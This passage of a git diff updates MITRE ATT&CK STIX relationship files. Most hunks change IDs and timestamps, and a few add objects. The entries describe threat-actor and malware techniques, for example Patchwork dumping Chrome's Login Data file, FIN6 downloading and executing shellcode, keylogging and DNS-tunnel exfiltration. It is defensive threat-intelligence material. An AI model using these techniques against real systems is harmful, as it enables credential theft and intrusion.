             "description": "RTM uses the command line and rundll32.exe to execute.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--1cbf5583-626a-4a24-bc59-f3b973752cee.json b/enterprise-attack/relationship/relationship--1cbf5583-626a-4a24-bc59-f3b973752cee.json
index 71892f8c3e..d854837f68 100644
--- a/enterprise-attack/relationship/relationship--1cbf5583-626a-4a24-bc59-f3b973752cee.json
+++ b/enterprise-attack/relationship/relationship--1cbf5583-626a-4a24-bc59-f3b973752cee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a868a3d-f1e9-4b8e-8d1b-80c3eaac8e8a",
+    "id": "bundle--31b20326-f88a-407d-9ce3-ab4196e2edf3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1cbf5583-626a-4a24-bc59-f3b973752cee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke uses rundll32.exe to load.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd.json b/enterprise-attack/relationship/relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd.json
index 4390320610..b4f0269091 100644
--- a/enterprise-attack/relationship/relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd.json
+++ b/enterprise-attack/relationship/relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ea695b0-bf83-4ac3-a90c-227cededd603",
+    "id": "bundle--07f62149-1c3e-49fc-a87b-7da3bc312921",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972.json b/enterprise-attack/relationship/relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972.json
index 6d4338b5f9..39577d1c3f 100644
--- a/enterprise-attack/relationship/relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972.json
+++ b/enterprise-attack/relationship/relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d369e7ab-8cc8-47e7-9d05-f6831980e77b",
+    "id": "bundle--d1caac43-6f2c-46fb-9eed-2e9b6d7d1be1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6",
             "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
diff --git a/enterprise-attack/relationship/relationship--1d3296a5-9a15-4bd9-a294-ee014348136c.json b/enterprise-attack/relationship/relationship--1d3296a5-9a15-4bd9-a294-ee014348136c.json
index 2070e71d7f..c0d4a01a70 100644
--- a/enterprise-attack/relationship/relationship--1d3296a5-9a15-4bd9-a294-ee014348136c.json
+++ b/enterprise-attack/relationship/relationship--1d3296a5-9a15-4bd9-a294-ee014348136c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dce55dc6-b427-4755-ba75-d0c876934b4e",
+    "id": "bundle--6756fcf4-19b8-4aa6-b141-6852bbdcc99b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim usernames.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a.json b/enterprise-attack/relationship/relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a.json
index eb88ccb3a3..a4962da7cd 100644
--- a/enterprise-attack/relationship/relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a.json
+++ b/enterprise-attack/relationship/relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a180d45-81b3-4874-b798-fbb91c933311",
+    "id": "bundle--3633381e-1d95-40c7-8f51-61a316e8ad98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 compromised McAfee ePO to move laterally by distributing malware as a software deployment task.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba.json b/enterprise-attack/relationship/relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba.json
index e3debb1773..2432ec3617 100644
--- a/enterprise-attack/relationship/relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba.json
+++ b/enterprise-attack/relationship/relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f90d248d-7f45-496f-92b1-78a73a82b2f6",
+    "id": "bundle--a74c50d2-d2a2-4927-8186-9ea8f3bd0699",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net start</code> command can be used in Net to find information about Windows services.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66.json b/enterprise-attack/relationship/relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66.json
index 9c5ae80a6d..ab8dcccb7c 100644
--- a/enterprise-attack/relationship/relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66.json
+++ b/enterprise-attack/relationship/relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7dc237cd-5235-4bff-b944-9c62b8aa3f27",
+    "id": "bundle--6b889d06-5e4d-4312-8535-6c2939162ad0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b.json b/enterprise-attack/relationship/relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b.json
index 1fa477b9b4..161cdf0dac 100644
--- a/enterprise-attack/relationship/relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b.json
+++ b/enterprise-attack/relationship/relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--775c06e9-d4b8-405b-8a1b-7b3c9d7fd8a4",
+    "id": "bundle--a71a8d73-6693-4552-a4bf-2cf856640efb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
diff --git a/enterprise-attack/relationship/relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5.json b/enterprise-attack/relationship/relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5.json
index 236b2d13d7..e4bb41720b 100644
--- a/enterprise-attack/relationship/relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5.json
+++ b/enterprise-attack/relationship/relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ef26de71-d099-4069-b907-c4a0847362c0",
+    "id": "bundle--6f1ded26-dd39-4d00-aa6e-d66c57a68305",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
             "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
diff --git a/enterprise-attack/relationship/relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1.json b/enterprise-attack/relationship/relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1.json
index d0c9ed24a1..5b11187399 100644
--- a/enterprise-attack/relationship/relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1.json
+++ b/enterprise-attack/relationship/relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e1ac56e-faba-45b4-9512-b071bcd06885",
+    "id": "bundle--150aa5dd-3292-48a7-aa0c-2c0c413055a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pass-The-Hash Toolkit can perform pass the hash.",
             "source_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
diff --git a/enterprise-attack/relationship/relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c.json b/enterprise-attack/relationship/relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c.json
index c8c6081397..cc45447ae8 100644
--- a/enterprise-attack/relationship/relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c.json
+++ b/enterprise-attack/relationship/relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb781395-4e23-4506-a9ee-fe9c27a3035d",
+    "id": "bundle--8cf2a3b3-376b-4837-802d-af51ede04489",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork dumped the login data database from <code>\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b.json b/enterprise-attack/relationship/relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b.json
new file mode 100644
index 0000000000..568d62463d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0e932f5c-c030-4385-bfbb-666c51f2caff",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "For early Gazer versions, the compilation timestamp was faked.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509.json b/enterprise-attack/relationship/relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509.json
index ad637f698f..69e75c6791 100644
--- a/enterprise-attack/relationship/relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509.json
+++ b/enterprise-attack/relationship/relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ff881255-cdd5-4e59-9011-605ed3c10384",
+    "id": "bundle--c767ba44-4d35-40b1-98a2-c0f81857df21",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM collects data from the clipboard.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--1e1b566b-152a-4778-a03f-0ce94b72c5f2.json b/enterprise-attack/relationship/relationship--1e1b566b-152a-4778-a03f-0ce94b72c5f2.json
new file mode 100644
index 0000000000..3b55387b73
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1e1b566b-152a-4778-a03f-0ce94b72c5f2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cf90e839-87ba-439a-b66c-7c6d4689eec0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1e1b566b-152a-4778-a03f-0ce94b72c5f2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly identified and browsed file servers on the victim network, viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1e2baacb-9033-49a9-890a-f48c87ab1531.json b/enterprise-attack/relationship/relationship--1e2baacb-9033-49a9-890a-f48c87ab1531.json
index 595bc948e5..1e8019a9d6 100644
--- a/enterprise-attack/relationship/relationship--1e2baacb-9033-49a9-890a-f48c87ab1531.json
+++ b/enterprise-attack/relationship/relationship--1e2baacb-9033-49a9-890a-f48c87ab1531.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f79111c-3723-405d-962a-6e8a3c876839",
+    "id": "bundle--b364ef83-e281-4f3d-8bb1-a4ba518516ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1e2baacb-9033-49a9-890a-f48c87ab1531",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--1e91cd45-a725-4965-abe3-700694374432.json b/enterprise-attack/relationship/relationship--1e91cd45-a725-4965-abe3-700694374432.json
index ae22e8d768..fa5626c9b2 100644
--- a/enterprise-attack/relationship/relationship--1e91cd45-a725-4965-abe3-700694374432.json
+++ b/enterprise-attack/relationship/relationship--1e91cd45-a725-4965-abe3-700694374432.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e288a401-e3c0-41f1-95cb-b022db91bdf5",
+    "id": "bundle--1f752978-c341-4be5-8e80-1843065178d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1e91cd45-a725-4965-abe3-700694374432",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f",
             "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
diff --git a/enterprise-attack/relationship/relationship--1eac1b9e-28f1-4315-8070-6946e7e11444.json b/enterprise-attack/relationship/relationship--1eac1b9e-28f1-4315-8070-6946e7e11444.json
new file mode 100644
index 0000000000..0a02ab22e7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1eac1b9e-28f1-4315-8070-6946e7e11444.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9eb48a9a-2e7e-477a-9f51-9698d4d55ea3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1eac1b9e-28f1-4315-8070-6946e7e11444",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used a keylogging tool called KEYPUNCH.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1ec53623-4050-498b-ba9e-f149d203036c.json b/enterprise-attack/relationship/relationship--1ec53623-4050-498b-ba9e-f149d203036c.json
index edd10d4962..96ea6ac312 100644
--- a/enterprise-attack/relationship/relationship--1ec53623-4050-498b-ba9e-f149d203036c.json
+++ b/enterprise-attack/relationship/relationship--1ec53623-4050-498b-ba9e-f149d203036c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cbc03a62-aca4-4cf1-9a6b-9d9227ca0ab8",
+    "id": "bundle--bad9bfc0-2fa4-404c-9a82-e85a409f2116",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>ipconfig /all</code>.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4.json b/enterprise-attack/relationship/relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4.json
index 8c5c197917..bca69b1920 100644
--- a/enterprise-attack/relationship/relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4.json
+++ b/enterprise-attack/relationship/relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bd1c58c-cd76-4e5d-9b28-0582b283ae55",
+    "id": "bundle--11bff40a-b50e-4329-ab4f-c90437354a36",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform uses Extended Attributes to store encrypted executables.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--1f764874-0e08-4799-9487-a9e12c499c13.json b/enterprise-attack/relationship/relationship--1f764874-0e08-4799-9487-a9e12c499c13.json
index 68cb6a12f8..6b3c22c422 100644
--- a/enterprise-attack/relationship/relationship--1f764874-0e08-4799-9487-a9e12c499c13.json
+++ b/enterprise-attack/relationship/relationship--1f764874-0e08-4799-9487-a9e12c499c13.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fea70de2-bcec-4bcb-999e-e48e63d76594",
+    "id": "bundle--3ee20045-ca0a-4889-b019-4606a023981d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener. FIN6 has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b.json b/enterprise-attack/relationship/relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b.json
index 345466968e..2fa32d2141 100644
--- a/enterprise-attack/relationship/relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b.json
+++ b/enterprise-attack/relationship/relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5f6c0811-53e6-4c3f-a445-41898a25c3cf",
+    "id": "bundle--88add368-bb21-4e69-9576-6ebbb85f04de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 malware has created scheduled tasks to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--1f8f6283-6004-4204-a54f-759e9c0519b1.json b/enterprise-attack/relationship/relationship--1f8f6283-6004-4204-a54f-759e9c0519b1.json
index b8352dfb19..021105410c 100644
--- a/enterprise-attack/relationship/relationship--1f8f6283-6004-4204-a54f-759e9c0519b1.json
+++ b/enterprise-attack/relationship/relationship--1f8f6283-6004-4204-a54f-759e9c0519b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--396a5baa-0c98-4606-afb4-a662ae06d3f1",
+    "id": "bundle--d4486a5f-44e6-4339-aeeb-901a119d5bc1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1f8f6283-6004-4204-a54f-759e9c0519b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2",
             "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
diff --git a/enterprise-attack/relationship/relationship--1f972385-7f1c-4cbd-a071-951973e6d229.json b/enterprise-attack/relationship/relationship--1f972385-7f1c-4cbd-a071-951973e6d229.json
index 086373136b..a7b23cc7a1 100644
--- a/enterprise-attack/relationship/relationship--1f972385-7f1c-4cbd-a071-951973e6d229.json
+++ b/enterprise-attack/relationship/relationship--1f972385-7f1c-4cbd-a071-951973e6d229.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--963f08fe-8b59-4d6a-ac5a-b00a90cf8ac5",
+    "id": "bundle--59bd04a4-8e86-4ce1-a6d8-4b405f1abed3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
diff --git a/enterprise-attack/relationship/relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63.json b/enterprise-attack/relationship/relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63.json
new file mode 100644
index 0000000000..9ea2337a90
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--2cf933be-baee-4b65-b808-8936f95b755c",
+    "spec_version": "2.0",
+    "objects": [
+        {
